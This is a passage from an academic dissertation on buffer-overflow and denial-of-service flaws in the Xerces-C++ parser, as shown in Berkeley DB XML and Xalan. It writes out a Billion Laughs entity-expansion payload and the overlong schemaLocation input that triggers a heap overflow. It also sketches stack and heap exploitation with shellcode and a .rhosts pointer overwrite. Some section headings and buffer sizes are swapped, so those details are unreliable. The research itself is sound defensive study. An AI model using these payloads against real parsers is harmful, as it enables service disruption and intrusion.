become massively larger or smaller than the expectation of the program’s logic. Figure 3.2,

shows an example of an integer underflow. The code validates that cbSize is no larger than

1 KB. The variable cbSize cannot be a negative number, because its of type size_t. But

what happens if cbSize is zero? The code that allocates the buffer subtracts one from the

buffer size request. Subtracting one from zero causes a size_t variable, which is an unsigned

integer, to wrap under to 0xFFFFFFFF which is equal to 4 GB, causing whatever program

the code is part of to crash.

2http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure04102003.asp
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bool func(size_t cbSize) {
if (cbSize < 1024) {

// we never deal with a string trailing null
char * buf = new char [cbSize-1];
memset(buf,0,cbSize-1);

delete [] buf;

return true;
} else {

return false;
}

}

Figure 3.2: Integer Manipulation Underflow

3.2 Known XML Vulnerabilities

3.2.1 XML Content-Based attacks

XML Content-Based attacks employ the technique of embedding malicious content within

an XML document and so using the XML as the means of transmitting the malicious code

[3]. The embedded malicious code can then be spread to the target system through standard

attacks such as SQL injections or buffer overflows.

3.2.2 Denial-Of-Service Attacks

Denial-Of-Service (DOS) Attacks attack target poorly written XML processors or parsers

[3]. There are multiple attacks of this kind. Oversize Payloads work by simply feeding an

extremely large XML document into the parser, in the hope that it will exhaust system re-

sources while trying to parse the document. This type of attack is especially geared towards

parsers using the DOM model, as it tries to build up a hierarchical model of the whole docu-

ment in memory. Recursive payloads prey on the ability to nest elements within a document

to address the need for complex relationships among elements [26]. By creating a document

that is many thousands of elements deep and feeding it to a parser an attacker can again try

and exhaust system resources thus causing a potential DOS. TheSecurityManager class

was created to guard against DOS attacks. At present protection has only been implemented

for Entity Expansion attacks by way of limiting to the number of entity expansions the parser
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will permit in a particular document

3.2.3 Schema Poisoning

As schemas describe the necessary formatting instructions for XML documents when pars-

ing XML documents, they are very susceptible to attack [3]. Schema Poisoning is the com-

promisation of an XML document’s schema by its replacement with a similar but modified

schema. Compromised schemas open the door to DOS attacks or malicious data manipula-

tion. It is also possible to modify the encoding to allow for data obfuscation that eventually

gets through to a parser and reformed into an attack, in the same way a Unicode attack can

traverse directories through web servers.

3.2.4 Buffer Overflow Attacks

XML has no built-in limits on names of elements, entity depths, and the like, so an attacker

could provide long values for these constructs. Doing so can lead some poorly written im-

plementations into buffer overflow errors [27]

<! DOCTYPEroot [
<! ENTITY ha "Ha !">
<! ENTITY ha2 "&ha;&ha;">
<! ENTITY ha3 "&ha2;&ha2;">
<! ENTITY ha4 "&ha3;&ha3;">
...
<! ENTITY ha127 "&ha126;&ha126;">
<! ENTITY ha128 "&ha127;&ha127;">

]> <root>&ha128;</root>

Figure 3.3: Entity Expansion Attack

In an attack called the Billion Laughs attack, which is a form of Entity Expansion at-

tack, see figure 3.3, the DTD contains a recursively defined entity “&ha128;” that would be

expanded into a huge amount of 2^128 repetitions of the string “Ha !” by any XML 1.0

standard compliant parser. This could result in excessive memory usage and excessive CPU

usage to a system whose parser is using the DOM model. If it’s dereferenced in an attribute

value, this attack can even damage a SAX-based system by overflowing the limits of a string

[27].
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3.3 Preventative Measures

Buffer Overflows are in the main due to non-security conscious coding and the use of cer-

tain insecure functions such asstrcpy() . A lot of efforts are now been made to educate

programmers in security conscious methods. Functions such asstrcpy() , all have sister

functions which put limits on the amount of information copied into the destination buffer.

The functionstrncpy() , behaves exactly likestrcpy() , except it only copies the first

n bytes of the source buffer to the destination buffer.

Static analysis tools can be used to check old code for vulnerabilities such as buffer over-

flows. An example tool would be Splint, which is a tool for statically checking C programs

for security vulnerabilities and programming mistakes.

Using typesafe languages like Java can also prevent buffer overflows, but this is of course

not always possible as languages like C and C++ are still dominant in a lot of fields.

Microsoft has incorporated some features to guard against buffer overflows in their Vi-

sual C++ products. In Visual C++.NET (7.0), a generated cookie with a known value is

inserted into the stack below the return address of the function. Therefore a malicious buffer

overrun that changes the value of the address will also overwrite the cookie, which will be

detected when the function returns. Visual C++.NET 2003 (7.1) enhances the protection

against buffer overruns by moving vulnerable data structures, such as the address of excep-

tion handlers, to a position in the call stack below the area where buffers are located3.

As XML grows in popularity some security companies are specialising in XML security.

Companies are creating XML firewalls. The most modern products are not only firewalls

but act as XML proxies and perform XML well-formedness checks, buffer overrun checks,

XML schema and SOAP validation and XML filtering4.

3.4 Static Analysis

Static Code analysis is a set of methods for analysing software source code or object code in

an effort to gain understanding of what the software does and establish certain correctness

criteria. There are various different types of static analysis such as using tools to look for

vulnerabilities and other sorts of dangers within the code or formal methods such as CSP

3http://www.developer.com/security/article.php/3417861
4One such company being Data Power http://www.datapower.com
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which trace the possible behaviours of the program being analysed. The former is often used

to try and find possible vulnerabilities within code when conducting security audits. There

were many different tools available to analyse the code. RATS5 (Rough Auditing Tool for

Security) is a tool to help source code auditors find potential trouble spots in C, C++, Perl,

Python and PHP code. As its name implies RATS performs only a rough analysis of source

code. It will not find all errors and may also flag false positives. Splint (Secure Program-

ming Lint) 6 the successor to LCLint is a tool for statically checking C programs for security

vulnerabilities and programming mistakes. Splint checks for many different possible prob-

lems from Buffer Overflows to possible infinite loops to dangerous macro implementations.

There is no implementation of Splint that works with C++ programs. ITS47 is a tool for sta-

tically scanning security critical C and C++ source code for vulnerabilities [28]. ITS4 scans

through source code for potentially dangerous function calls that are stored in a database and

flags any it comes across. ITS4 tries to automate a lot of the grepping usually done by hand

when performing security audits. ITS4 gives the file name, the potential vulnerability, the

problems the vulnerabilities could cause and a suggested countermeasure.

3.5 Xerces Vulnerabilities Research

Searching the Common Vulnerabilities and Exposures (CVE) database for security issues in

relation to Xerces, only 1 vulnerability was found to have been reported. The vulnerability

called an Attribute Blowup DOS (ref: CAN-2004-1575) could be perpetrated by an attacker

crafting a malicious XML document, which uses duplicated XML attributes in a way that

inflicts a denial of service condition on the target machine. It is caused by an input valida-

tion error in the XML parser. The vulnerability had been patched as of Xerces-C++ 2.6.0.

Searching the SecurityFocus and Secunia8 websites for vulnerabilities only showed the same

vulnerability again. The CERT database contained no security advisories for Xerces at all.

The SANS Institute website showed a second vulnerability, discovered in December 2002,

which caused a DOS when parsing a malformed DTD causing the parser to enter an infinite

loop and consume 100% CPU and or excessive amounts of memory9.

5website for download: http://www.secureprogramming.com/?action=view&feature=links&linkid=8
6http://www.splint.org/
7http://www.cigital.com/its4/
8http://secunia.com/
9http://www.sans.org/newsletters/cva/cva1_22.php
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3.6 ASN.1 Vulnerabilities

Abstract Syntax Notation one (ASN.1), another data representation language like XML, is a

standard and flexible notation that describes data structures for representing, encoding, trans-

mitting, and decoding data. It is used in the telecommunications and computer networking

spheres in an extensive range of applications involving the Internet, intelligent network, cel-

lular phones and ground-to-air communications. It provides a set of formal rules for describ-

ing the structure of objects10. The standardized XML Encoding Rules (XER) allow ASN.1

specifications to be used as ASN.1 schemas against which XML documents can be validated.

An XER definition specifies the equivalence and necessary conversion between appropriate

ASN.1 encoded data structures and XML encoded data structures. XML parsers are not the

first type of parsers to show vulnerabilities. ASN.1 parsers have been shown over the past

few years to contain serious vulnerabilities.

ASN.1 has caused multiple vulnerabilities in S/MIME implementations. S/MIME ex-

tends the MIME specification by including the secure data in an attachment encoded using

ASN.1. If one of the entities in an email system knowingly or unknowingly sends an excep-

tional ASN.1 element that cannot be handled properly by another party, the behavior of the

application receiving such an element is unpredictable. Most of these vulnerabilities exist in

ASN.1 parsing routines. The impacts associated with these vulnerabilities include denial of

service, and potential execution of arbitrary code.11

In October 2004, the Microsoft Windows ASN.1 parsing library was found to be prone

to an integer handling vulnerability. The issue was found to exist because an integer value

that was contained as a part of ASN.1 based communications was interpreted as an unsigned

integer. Because this integer value was assumed trusted, unsigned, and conjectured to be

then further employed in potentially sensitive computations, memory corruption could result
12.

10http://asn1.elibel.tm.fr/en/
11http://www.kb.cert.org/vuls/id/428230
12http://securityresponse.symantec.com/avcenter/security/Content/9626.html
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Chapter 4

Vulnerability Analysis

In this Chapter methods that were used to discover vulnerabilities in the Xerces will be

looked at. The vulnerabilities will then be discussed and methods to implement the vulner-

abilities will be proposed. Finally attacks for which no vulnerabilities were discovered are

examined.

4.1 Static Analysis

There are various tools available with which to conduct a static analysis of the Xerces source

code. RATS was the first tool to be looked at, unfortunately various insurmountable prob-

lems were encountered while trying to install it and so it was not used. The next tool to be

looked at was Splint, this was the best of the tools looked at, but unfortunately there was no

C++ implementation of the Splint available and so it could not analyse the C++ classes in

Xerces. The ITS4 tool was the last tool looked at and although it came with a scarcity of

documentation and was quite unwieldily to operate it was chosen. Appendix B, shows the

cleaned-up output of this analysis. Of all the potential vulnerabilities those which showed

promise were those contained in the following classes:BINHTTTPURLInputStream and

ICUMessageLoader . Both of these classes gave warnings of Buffer overflows through

the use of thestrcpy() andstrcat() functions.
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4.2 Vulnerable Classes

In this section the two classes discussed above as containing potential buffer overflows will

be looked at. The theory as well as possible methods for achieving overflows in the classes

will be discussed.

4.2.1 BinHTTPURLInputStream

TheBinHTTPURLInputStream class is used by Xerces to create sockets for any HTTP

access that is required. The BinHTTPURLInputStream class constructor, in which all the

potential vulnerabilities ITS4 discovered for this class reside in, is detailed in Appendix

C. This shows the four instances of thestrcat() function which can cause buffer over-

flows. The linestrcat ( fBuffer , pathAsCharStar ) showed great promise

as it concatenated the pointerpathAsCharStar , which is a character pointer to the path-

name of a URL that Xerces is trying to open a socket to, into the bufferfBuffer . The

buffer fBuffer is a statically member variable, 4000 Bytes long, declared in the class’s

header file. Therefore by creating a URL with a pathname longer then 4000 bytes it should

be possible to cause a buffer overflow.

<ROOT_ELEMENT
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ipo="NAMESPACE"

xsi:schemaLocation="NAMESPACE URL">

Figure 4.1: xsi:schemaLocation Example

<import namespace="NAMESPACE" schemaLocation="URL"/>

Figure 4.2: SchemaLocation Example

TheschemaLocation attribute is used to provide information to the parser on schema

locations. As schemas can be stored remotely, URLs may be used with this attribute to

point to schema locations. This attribute can appear in different places, such as in an XML

document where it can appear asxsi:schemaLocation or in a schema where it can

appear as part of theimport structure. Thexsi:schemaLocation attribute contains 2
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values, the first being the namespace the schema uses and the second being the location of

the schema. Figure 4.1 gives an example of what form thexsi:schemaLocation takes

and where it resides within the XML document. Theimport structure is used when one

wants to use schemas from different namespaces together. TheschemaLocation attribute

inside this structure, as shown in 4.2, takes one value the location of the schema. Appendix H

shows the XML document,ipo.xml , with an example validschemaLocation attribute.

This is the schema that was used throughout this dissertation.

By using this attribute in either of the ways mentioned above one should be able to

provide a URL with a pathname greater then 4000 Bytes and so therefore when Xerces tries

to open a socket to the URL a buffer overflow should occur as detailed above. AsfBuffer

is a member variable of theBinHTTPURLInputStream class it will be allocated memory

on the heap when the class is instantiated using thenew operator. Thus any overflow of this

buffer will be a heap overflow.

Appendix E, shows the main method of the code,heapVuln.cpp , which was written

to read in an XML document and try and cause an overflow using theschemaLocation

attribute. The exception logic inside the catch brackets has been removed to conserve space.

Xerces-C++ Version 2.6.0, which was the latest version as of May 2005, was used for all

tests throughout this dissertation1. All the code used in this dissertation was compiled and

run using Microsoft Visual C++ (7.0)(VC++), running on a Dell Latitude D400 with 256MB

of RAM.

The code takes in the location of an XML document as a runtime argument.

XMLPlatformUtils::Initialize() , initialises Xerces, this must be called before

Xerces can be used by any application. The parser must then be instantiated. There are

a few ways of achieving this, but using theDomBuilder class was found to be the most

convenient. DomBuilder is a new interface introduced by the W3C DOM Level 3.0 Abstract

Schemas and Load and Save Specification [29]. DOMBuilder provides the "Load" interface

for parsing XML documents and building the corresponding DOM document tree. A DOM-

Builder instance is obtained from the DOMImplementationLS interface by invoking its cre-

ateDOMBuilder method. Certain options can be set to tell how to run.fgDOMNamespaces,

tells Xerces to perform namespace processing.fgXercesSchema , enables the parsers

schema support.fgXercesSchemaFullChecking , enables full schema constraint check-

ing, including checking which may be time-consuming or memory intensive.

1As of the 2nd September 2005, a new version of Xerces, Xerces Version 2.7 was released
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fgDOMValidation , sets up Xerces to report all validation errors. In the next Chapter the

results of running this code on an XML document using a longschemaLocation URL

string will be discussed.

4.2.2 ICUMsgLoader

Xerces may be built in stand-alone mode using native encoding support and also using

ICU where you get support for over 180 different encodings and language and locale spe-

cific message support. ICU2 is an open source software development project delivering

Unicode support.ICUMsgLoader is derived from the base classXMLMsgLoader as is

WIN32MsgLoader . This hierarchy of classes are message loaders which are used for load-

ing up textual representations of the possible error codes Xerces can emit. These messages

are stored in a location specified by thenlsHome variable. By default Xerces is set up to

use the Win32 message loader, Appendix G contains the instructions needed to get Xerces

to use the ICU message loader. In this dissertation the most up to date version of ICU, ICU

3.4 was used.

Appendix D shows a portion of theICUMsgLoader constructor in which some of the

vulnerabilities found in the static analysis of the Xerces code reside. The buffer

locationBuf is declared statically with a size of 1024 Bytes. The linestrcpy (

locationBuf , nlsHome ) is used to copy thenlsHome variable to the

locationBuf buffer. This makes the buffer a prime target for an overflow as it is stati-

cally declared and is filled using thestrcpy() function. By setting nlsHome equal to be a

string longer then 1024 Bytes, one should be able to effect a buffer overflow. ThenlsHome

variable is set when Xerces is initialised. This is achieved using the

XMLPlatformUtils::Initialize(locale, nlsHome„,) function. As

locationBuf is declared locally within theICUMsgLoader constructor it is placed on

the stack when the constructor is called and so any overflow of this buffer will result in a

stack overflow.

Appendix F, shows the main method of the code,stackVuln.cpp , which was written

to try and cause a stack overflow as described above. Again an XML document is read in

as a runtime argument. The different this time being that the vulnerability is not contained

in the XML document or one of it’s associated schemas. A character pointernlsHome is

2http://www-306.ibm.com/software/globalization/icu/index.jsp
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initialised with a string containing approximately 2000a characters. This is then passed

in as an argument in the initialisation function. TheloadMsgSet function loads up the

required message set using whatever message loader has been specified. This is the line of

code which results in theICUMsgLoader constructor being called. In the next Chapter the

results of running this code will be discussed.

4.3 Unsuccessful Attacks and Vulnerabilities

4.3.1 Content-Based Attacks

The effect on Xerces of trying to parse a large element name was investigated. Using an

element name of approximately 6,000 letters in an XML document, the parser came up with

an Element ’name’ is not valid for content model warning and then anOutOfMemory

exception message. This resulted in a severe slowing down of the system and its resources

while the parser tried to process the element name. Repeated use of long element names

could be used as the basis for a DOS attack.

4.3.2 Recursive Payloads

Xerces’s handling of recursive payloads was looked at by passing the parser an XML docu-

ment with 1,000,000 nested elements to parse. This caused the parser to throw an

OutOfMemory Exception after a period of time. While the parser was attempting to parse

the document the system was extremely unresponsive, indicating that a lot of the systems

resources were being used to try and parse the document. The parser was able to parse an

XML document with 500,000 nested elements, which again took time and hogged a lot of

the systems resources. This type of attack can be used for DOS attacks.

4.3.3 Construct Rich Schemas

The ability of Xerces to handle construct rich schemas was investigated using various combi-

nations of constructs that were defined in [30]. The following is a list of some of the different

types of constructs that were used: include, import, key, keyval, unique, complexType, se-

quences, restrictions, patterns, extensions and substitution groups. Xerces had no problems

handling schemas using any of these constructs individually or in combination.
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4.3.4 Encoding Types

How Xerces handled XML and schema documents containing various encodings was inves-

tigated. Legal encodings that were not compatible with Xerces gave a

transcodingException exception. Putting in gibberish for the encoding type resulted

in a Bad XML encoding exception being thrown. Using various different schemas for

the one XML document and corresponding schema, all with different legal encodings did

not result in any problem at all.

4.3.5 Grepping

The Xerces source code was grepped for the wordmax to try and look for limits that one

could try to supersede to crash Xerces. The resulting list was very long, some 60 pages.

None of the occurrences which were examined were pursued.

4.3.6 Schema Poisoning

Schema Poisoning was attempted using the schemaLocation vulnerability that had been dis-

covered, an idea was to try and tamper with external schemas that had been cached in a

proxy when fetched by the parser. What was propositioned was to see if a valid schema

which was cached in a proxy could be replaced with a malicious version that would cause a

buffer overflow to occur. Unfortunately this idea was abandoned when it was discovered that

Xerces-C++ did not have any proxy support.
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Chapter 5

Vulnerability Implementation

In this Chapter the implementations of the methods described in the previous Chapter for

causing heap and stack based buffer overflows in theBinHTTPURLInputStream and

ICUMessageLoader classes respectively will be described. The latter requires access to

a Xerces configuration setting which specifies in which location Xerces error messages are

stored. The location,nlsHome is set when Xerces is initialised and causing this type of

overflow would only be possible if one had access to the initialisation parameters. As the

BinHTTPURLInputStream overflow is easier to implement it will be discussed in detail,

while the results of theICUMessageLoader overflow will be merely touched on.

5.1 BinHTTPURLInputStream Buffer Overflow

Xerces was recompiled as described in Appendix G, so as to provide support for the ICU

message loader. ThestackVuln.cpp code, see Appendix F, described in the previous

Chapter was run in release mode in VC++. The XML document shown in Appendix H

was used as the input XML document. In release mode the program crashed throwing an

Unexpected Exception . To investigate what precisely was causing the program to

crash the next step was to run the code in debug mode to see what further information, if any,

could be gained from the debugger.

Stepping through the code in debug mode Xerces was found to crash as expected in

theICUMessageLoader when thestrcpy() function attempted to copy the string that

was stored in thenlsHome variable into thelocationBuf buffer. Figure 5.1, shows
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Figure 5.1: Debug Window of Visual C++ During Stack Based Buffer Overflow

the exceptions visible in the debug window when the program crashed. The0x61616161

memory locations, are caused by the large string of a characters that are being used to affect

the overflow. 0x61 is the hex code for the ASCII charactera. This infers that the overflow

is overwriting a pointer to a memory location, that the program is trying to read from, with

multiplea characters.

5.2 ICUMessageLoader Buffer Overflow

Xerces was recompiled using it’s default mode settings. Thexsi:schemaLocation

attribute inipo.xml was given a string value consisting of the hostname

http://www.cs.tcd.ie and a pathname of 6,000A character’s. As there is no proxy

support in Xerces, a hostname within Trinity College had to be used. TheheapVuln.cpp

code, see Appendix E, described in the previous Chapter was run in release mode. It took

in the ipo.xml file as a runtime argument. This resulted in the program crashing and an

Unexpected Exception error being thrown.

Again to try and discern what was causing this crash the next step was to run the program

again in debug mode to see what was happening. Stepping through the code, the program

crashed in theBinHTTPURLInputStream class as predicted, but instead of crashing at

the firststrcat() it crashed further down at

strcat ( fBuffer , hostNameAsCharStar ) , where the hostname of the URL

is concatenated onto the buffer. The reason for this could be explained by looking at the

memory locations of the local variables in the class. The hostname variable,

hostNameAsCharStar , is located very close tofBuffer in memory. So when the
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buffer is overflown it overwrites what is contained inhostNameAsCharStar as well as

all the bookkeeping information for that memory block. Therefore when the CRT attempts

to accesshostNameAsCharStar it finds it’s bookkeeping information overwritten.

Figure 5.2: Debug Window of Visual C++ During Heap Based Buffer Overflow

Figure 5.3: Visual C++ Messages During Heap Based Buffer Overflow

When the crash occurred VC++ displayed various messages such as figure 5.3 and figure

5.4 indicating that a buffer overflow had occurred. These are all due to damage caused to

the CRT’s bookkeeping information that accompanies every memory allocation made to the

heap in debug mode. The assertion failure shown in figure 5.3 indicated that a buffer on the

heap has overflown overwriting thenBlockUse variable in the_CrtMemBlockHeader

structure thatpHead pointed to. The variablenBlockUse identifies what a particular

block of memory is being used for. The message shown in figure 5.4 signified that the guard
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Figure 5.4: Visual C++ Messages During Heap Based Buffer Overflow

blocks located around the block of memory, identified in the message, on the heap had been

overwritten. Figure 5.2, showed the exceptions visible in the debug window at this stage.

The access violation writing to location0x41414141 , is due to overflowingA characters,

which have hex value 0x41, overwriting a pointer to a memory location that the program is

trying to write to. The twoHEAPexceptions are thrown because of detected overflows in

the heap. The message specifying that the heap block had been modified past the requested

size of fe4 indicated that an attempt had been made to modify the heap block at a memory

location outside of that requested for the block. The memory location0051CE98 was where

the block of memory allocated tofBuffer began in memory. The allocated memory was

indicated to be 4068 bytes or 0xfe4 in hexadecimal, which was the size of the allocated block

of memory reserved forfBuffer after taking the extra memory allocated for bookkeeping

into account. The invalid address toRtlValidateHeap andRtlFreeHeap messages

indicate that the memory address being pointed to outside of the local heap.

The same results occurred when theschemaLocation attribute in the schema was

used to affect the buffer overflow.
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Chapter 6

Vulnerability Demonstration

In this Chapter the heap overflow discussed in the previous Chapters will be evaluated on

two products which incorporate Xerces-C++ as a component, Berkeley DB XML and Xalan-

C++. In the first section a brief overview of the products will be given and in the second the

attempt to cause the overflow and the results will be discussed. Some theoretical exploits for

the buffer overflows will then be discussed and finally a countermeasure will be examined.

6.1 Applications

Both products, Xalan-C++ and Berkeley DB XML, are in common use and have been devel-

oped by experienced development teams.

6.1.1 Xalan-C++

Xalan-C++ (Xalan) is an XSLT processor for transforming XML documents into HTML,

text, or other XML document types and is a robust implementation of the W3C Recommen-

dations for XSL Transformations (XSLT) and the XML Path Language (XPath) [13]. It trans-

forms the XML documents using the methods contained within theXalanTransformer

C++ API. XSLT is the language used to create XSL style sheets which contain the instruc-

tions for the transformations, in structural terms they specify the transformation of one tree

of nodes, the XML input, into another tree of nodes, the output or transformation result. As

with Xerces, Xalan is part of the Apache XML project and there is also an implementation of
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Xalan written in Java. The latest version of Xalan, Xalan-C++ version 1.9, uses the Xerces-

C++ version 2.6.0 parser to parse XML documents and XSL stylesheets by default, although

it can be configured to use other XML parsers.

6.1.2 Berkeley DB XML

Berkeley DB XML (BDB XML) is a native XML database engine, which takes the form

of a C++ library which can be linked into applications. It also has a command line shell

so one can work with the stored XML documents outside of the normal programs used to

interact with it. In BDB XML documents are stored in containers. Each container can

store millions of documents. Containers are simply files in memory which contain all the

data on the XML document such as the documents themselves and any associated metadata.

There are two ways of storing the documents either as whole documents, which is best for

small documents or as document nodes whereby the documents are broken down into their

individual element nodes and each node is stored as an individual record in the container.

XML documents are stored and indexed in their native format using Berkeley DB as the

underlying transactional database engine, which means that all of Berkeley DB’s features

such as; full ACID transactions, automatic recovery, hot standby, on-disk data encryption

with AES and database replication for high availability and failover are inherited. Once a

document is stored in a container XQuery can be used to query that container and retrieve

1 or more documents or portions of documents [31]. Berkeley DB XML adheres to the

XQuery 1.0 July 2004 draft and therefore XPath 2.0 as XQuery is an extension of this.

6.2 Overflows

6.2.1 Berkeley DB XML Overflow

Berkeley DB XML (BDBXML) can be run stand-alone using a command line shell or linked

into an application by using the various programming language API’s. The buffer overflow

vulnerability will be tried on both methods.

The first step was too download the source code and compile the latest version of BD-

BXML (version 2.1.8). The solution fileBDBXML_all.sln contained the projects needed

to compile the application fully, including all third party projects such as Xerces and Pathan.
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When using the command line shell only two commands needed to be used, these are

shown in figure 6.1. The first command simply creates a container to be used for storing

XML documents. The validate argument tells the container to try and validate all documents

that are entered into it. The second command is used for entering data into the container.

The itemName is the documents name inside the container. Thef switch indicates that

a filename is being passed as an argument and not raw XML data as is indicated by the s

switch.

\begin{itemize}
\item createContainer <containerName.dbxml> d validate

\item putDocument <itemName> <fileName> f
\end{itemize}

Figure 6.1: Berkeley DB XML commands

Using thecreateContainer command, as shown in figure 6.1, a container called

validate.dbxml was created with validation turned on. To ensure that validation was

working correctly,ipo.xml was given a valid schemalocation correctly indicating the lo-

cation of the corresponding schemaipo.xsd and entered into the container, this worked

as predicted. The XML document was then changed slightly, so as not be valid with re-

spect to it’s schema. Entering the document into the schema resulted in an exception being

thrown stating that the document was not valid and indicating why. Finally to try and cause

an overflow the XML document thexsi:schemaLocation attribute inipo.xml was

given string value consisting of the hostnamehttp://www.cs.tcd.ie and a pathname

of 6,000A characters. Attempting to add this document to the container, resulted in the

following exception being thrown:putDocument failed . Attempting to add any doc-

ument or do anything else to the container resulted in the same exception being thrown. This

condition remained till the application was closed or one changed to a different container.

The containervalidate.dbxml functioned properly again if one changed back to the

original container again. Closing the application brought up the following message shown

in figure 6.2 indicating that a buffer overflow had occurred. As with the Xerces overflows,

the exception indicated that a buffer has overflown and overwritten a pointer to a memory

location with the A characters contained in the schemaLocation.

Appendix J, shows the code used to try and implement the overflow in BDBXML. The

code created a container using the DBXML_ALLOW_VALIDATION and DB_CREATE
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Figure 6.2: Visual C++ Message in BDBXML in Debug Mode

macros to specify that the container is to validate all XML documents that contain schemas

and to create a container if the specified container does not already exist. It used the

createLocalFileInputStream to create an input stream from the specified input

file. Using the input stream the file was then added to the designated container using the

putDocument method.

Figure 6.3: Visual C++ Exception in BDBXML in Release Mode

The code was compiled in release mode and run using the same XML document as was

used for the command line shell. Figure 6.3 shows the exception thrown.

To see what was happening the code was recompiled in debug mode and run again. Step-

ping through the code, the program crashed in the exact same way as occurred in section

5.1. Again thehostNameAsCharStar buffer was overwritten by the overflowing buffer

fBuffer , causing the program to crash when thestrcat() function attempted to con-

catenate it ontofBuffer . The crash resulted in the same messages being displayed on

screen and in the debug window, see figures 5.2, 5.3 and 5.4, as were observed when Xerces

was crashed using the same vulnerability as in section 5.1.

42



6.2.2 Xalan-C++ Overflow

The source code of latest version of Xalan-C++, version 1.9, was downloaded and com-

piled. An environment variable ,XERCESCROOT, was created and set to the path of the root

directory of Xerces so Xalan could use Xerces as a component.

Appendix I contains the code,simpleTrans.cpp , written to try and cause an over-

flow in Xalan. Some of the exception logic has been omitted to conserve space. The

XALAN_USING_XERCESandXALAN_USING_XALANmacros are used to declare that the

program is using theXMLPlatformUtils , XMLUni andXalanTransformer classes

from the Xerces and Xalan namespaces respectively. After this Xerces and Xalan must be

initialised. TheXalanTransformer object is then created. It is this objects methods will

be used later to effect the actual transformation.setUseValidation ensures that Xalan

will validate the XML documents used in the transformation. Finally thetranformation

method of theXalanTransformer class is called. This is the main transformation method

and takes in as parameters, the input XML document, the XSL style sheet and the location

of the output documentoutput.out .

<xsl:stylesheet version ="2.0">
<xsl:template match="purchaseOrder">
<xsl:value-of select="."/> </xsl:template>

</xsl:stylesheet>

Figure 6.4: XSL Style Sheet

Figure 6.4, shows the simple XSL file that was used. The namespace information in the

root element tag was omitted to conserve space.

The code was compiled in release mode. To ensure that the XSLT processor was work-

ing correctly,ipo.xml was given a valid schemalocation. The code worked as predicted

outputting all the values contained in the XML document to the fileoutput.out . To try

and cause an overflow thexsi:schemaLocation attribute inipo.xml was given string

value consisting of the hostnamehttp://www.cs.tcd.ie and a pathname of 6,000A

characters. This time when the code was run the program exited without throwing any ex-

ceptions again, but no output was created.

To see what was happening the code was recompiled in debug mode and run using the

same URL. Stepping through the code, the program crashed in the exact same way as oc-
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curred in section 5.1 in the last Chapter and for Berkeley DB XML in the previous section.

Again the same exception messages were observed, see figures 5.2, 5.3 and 5.4.

When a much longer URL string was used, 12,000 characters, the application crashed

by what appeared to be a buffer overflow but for a different reason. Using a longer URL,

changed the placement of the buffers on the heap. ThehostNameAsCharStar block

was allocated memory below thefBuffer and so was not overwritten when the buffer

overflowed. As the URL was not a real URL and just a string ofA characters Xerces threw

an exception when it checked to see if the pathname actually existed at the given host. The

exception function took in the URL as a parameter so as to inform the user of what was

causing the exception. Somewhere inside the exception function the application crashed

throwing the same messages as had been observed above. This was only discovered in the

last week of the dissertation and so was not looked into.

6.3 Theoretical Exploits

In this dissertation it was decided not to actually try and develop exploits for any vulnera-

bilities discovered, but just to show that the vulnerabilities exist and explain how they occur.

With this in mind, this section will discuss some of the exploits which exist and could maybe

have been used to exploit the two different types of buffer overflows that were discovered.

6.3.1 Stack Exploits

As has been discussed in this dissertation it is possible to corrupt the execution stack by

writing past the end of a buffer that resides on the stack. Code that does this is said to smash

the stack, and can cause return from the function to jump to a random address1. This can be

exploited to force the return to jump to a memory location controlled by an attacker causing

the program to run whatever code is stored at this location. This code could be used to get the

program running with administrator privileges to invoke a shell on the attackers computer and

thus give the him administrator level access to the system. Stack based buffer overflows are

easier to exploit then heap based overflows by the fact that the return address pointer (EIP)

is always on the stack. This gives an attacker a target that they know will always be present.

A potential buffer overflow gives the attacker an obvious method to try and overwrite the

1http://destroy.net/machines/security/P49-14-Aleph-One
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address. After discovering an overflow the next problem for the attacker is to find the exact

position of the return address in memory. The easiest way to do this is to overflow a whole

memory region setting each word value to the chosen memory address of the attackers code.

The next problem is knowing the exact address of the attackers exploit shellcode in memory.

The attacker will have an idea of the approximate address of the location. An approximate

address is sufficient, as NOPs can be used to pad the shellcode. Thus when the program

returns and jumps to where the return address indicates, it will jump to somewhere in the

middle of the NOPs and then execute NOPs until finding the shellcode and running whatever

instruction is contained in it.

6.3.2 Heap Exploits

As already mentioned heap based exploits are harder to achieve as they require some pre-

conditions concerning the organisation of the program in memory. There are several tech-

niques such as function pointer overwrite, Vtable overwrite and exploitation of the weak-

nesses of the malloc libraries. Appendix A has an example of code that exploits weak-

ness in thegets() function to cause an overflow. The idea being that the first program,

vulprog1.c , takes in some data, stores it into a buffer using thegets() function and

then writes this buffer into a temporary file. The location of the temporary file is stored in

a character pointer which is stored directly above the buffer in memory. The second pro-

gramexploit1 .c calculates how much data to use as a runtime argument when it runs

the vulprog1.c program so as to overflow the buffer through the insecurefunction

and overwrite the file pointer. If this is done correctly the file pointer can be overwritten to

point to another location such as/root/.rhosts . This is an example of a pointer over-

write where the pointer to the tempfile name is written directly after the vulnerable buffer in

memory and so is vulnerable to being overwritten.

Overwriting function pointers is basically the same as overwriting a pointer in that one

overwrites a pointer and makes it point to whatever they want. The difference being that this

time it will be a pointer to a function. Overwriting a V pointer works in the same way and is

the easiest of all the heap overflows because the V pointer is put after the member variables

and therefore if there is a buffer among the variables that can be overflown one can overwrite

the V pointer and make it points to their own VTable.
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6.4 Vulnerability Countermeasures

In this section, a countermeasure to try and decrease the chances of the buffer overflows,

discussed herein, occurring will be discussed.

It would have been nice to come up with some elaborate solution to the vulnerabilities

that were discovered, but fortunately or unfortunately depending on how you look at it the

solutions are quite simple.

Both vulnerabilities are products of bad coding. What is meant in this case by bad coding

is code that did not take security issues into account. As has been discussed, there are func-

tions in C and C++ which are known to be insecure and the two vulnerabilities are products

of the use of two of these functions,strcat() andstrcpy() . Both of these functions

have safe versions:strncat() andstrncpy() , which only copy or concatenate the first

n bytes from the source buffer to the destination buffer. The two buffers which are overflown

fBuffer and locationBuf are both statically declared buffers, the latter being 4000

bytes in size and the former 1024 bytes in size. The simplest way to prevent the overflows

would then have been to use the safe versions of these functions making sure that only the

total buffer size - 1 is copied into the buffers. Thestrlen() function returns the number of

characters in the buffer before the null terminated character. As the above functions are used

multiple times on each of the buffers, the easiest way to ensure that the above limit is obeyed

for each buffer would be to keep a running total of the amount of space left in the buffers.

This could be achieved by calculating the size of the buffer usingstrlen each time either

strncat() or strcpy() are used and subtracting this value from the total buffer size -

1. Figure 6.5 shows a modified version of theICUMsgLoader constructor class, which is

contained in Appendix D, containing the changes discussed above.
